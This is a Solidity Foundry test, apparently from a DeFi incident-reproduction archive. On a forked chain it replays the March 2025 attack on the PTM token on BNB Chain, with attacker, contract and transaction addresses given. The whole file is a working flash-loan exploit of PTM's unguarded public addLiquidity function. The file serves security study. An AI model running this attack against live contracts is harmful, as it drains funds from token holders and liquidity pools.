src/test/2025-03/PTM_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 552.63 USDT
8// Attacker : 0x52e38d496f8d712394d5ed55e4d4cdd21f1957de
9// Attack Contract : 0x9774d7bbf21f1c50881df62518c3160ab3a5a989
10// Vulnerable Contract : 0x2e13771622b967e9afbf0dc6c7736c6b7544b0b7
11// Attack Tx : https://bscscan.com/tx/0x1bb9c2a30564ed685580f17890d5fa153edb3e86cc39fe6804cfb6dbfa0cae92
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x2e13771622b967e9afbf0dc6c7736c6b7544b0b7#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/556
18//
19// PTM exposed addLiquidity(uint256,uint256) publicly. The function spends the
20// PTM token contract's own PTM and USDT balances through Pancake Router without
21// checking the caller. The attacker flash-bought PTM, forced the token-owned
22// balances into liquidity at the manipulated ratio, then sold PTM back for USDT.
23 
24address constant ATTACKER = 0x52e38D496F8D712394D5ED55E4d4Cdd21f1957De;
25address constant ATTACK_CONTRACT = 0x9774d7bBf21f1c50881dF62518c3160ab3a5A989;
26address constant PTM_TOKEN = 0x2E13771622b967e9aFBf0Dc6C7736C6b7544b0b7;
27address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
28address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
29address constant PANCAKE_V3_USDT_USDC_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
30address constant PTM_USDT_PAIR = 0xfb0e91DeB4A8d6a4CeB46b877034F5908F5c48Bf;
31 
32interface IPTM is IERC20 {
33    function addLiquidity(uint256 tokenAmount, uint256 usdtAmount) external;
34}
35 
36contract ContractTest is BaseTestWithBalanceLog {
37    IPancakeV3Pool private constant flashPool = IPancakeV3Pool(PANCAKE_V3_USDT_USDC_POOL);
38    IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));
39    IERC20 private constant usdt = IERC20(USDT_TOKEN);
40    IPTM private constant ptm = IPTM(PTM_TOKEN);
41 
42    uint256 private constant FLASH_AMOUNT = 70_000 ether;
43 
44    function setUp() public {
45        uint256 forkBlock = 47_224_908;
46        vm.createSelectFork("bsc", forkBlock);
47 
48        fundingToken = USDT_TOKEN;
49        vm.label(ATTACKER, "Attacker");
50        vm.label(ATTACK_CONTRACT, "Historical attack contract");
51        vm.label(PTM_TOKEN, "PTM");
52        vm.label(USDT_TOKEN, "USDT");
53        vm.label(PANCAKE_ROUTER, "Pancake Router");
54        vm.label(PANCAKE_V3_USDT_USDC_POOL, "Pancake V3 USDT/USDC Pool");
55        vm.label(PTM_USDT_PAIR, "PTM/USDT Pair");
56    }
57 
58    function testExploit() public balanceLog {
59        uint256 balanceBefore = usdt.balanceOf(address(this));
60        flashPool.flash(address(this), FLASH_AMOUNT, 0, "");
61        assertGt(usdt.balanceOf(address(this)) - balanceBefore, 550 ether);
62    }
63 
64    function pancakeV3FlashCallback(
65        uint256 fee0,
66        uint256,
67        bytes calldata
68    ) external {
69        require(msg.sender == PANCAKE_V3_USDT_USDC_POOL, "pool only");
70 
71        usdt.approve(PANCAKE_ROUTER, type(uint256).max);
72        ptm.approve(PANCAKE_ROUTER, type(uint256).max);
73 
74        address[] memory buyPath = new address[](2);
75        buyPath[0] = USDT_TOKEN;
76        buyPath[1] = PTM_TOKEN;
77        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
78            FLASH_AMOUNT,
79            0,
80            buyPath,
81            address(this),
82            block.timestamp
83        );
84 
85        uint256 contractPtm = ptm.balanceOf(PTM_TOKEN);
86        uint256 contractUsdt = usdt.balanceOf(PTM_TOKEN);
87        ptm.addLiquidity(contractPtm, contractUsdt);
88 
89        address[] memory sellPath = new address[](2);
90        sellPath[0] = PTM_TOKEN;
91        sellPath[1] = USDT_TOKEN;
92        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
93            ptm.balanceOf(address(this)),
94            0,
95            sellPath,
96            address(this),
97            block.timestamp
98        );
99 
100        usdt.transfer(PANCAKE_V3_USDT_USDC_POOL, FLASH_AMOUNT + fee0);
101    }
102}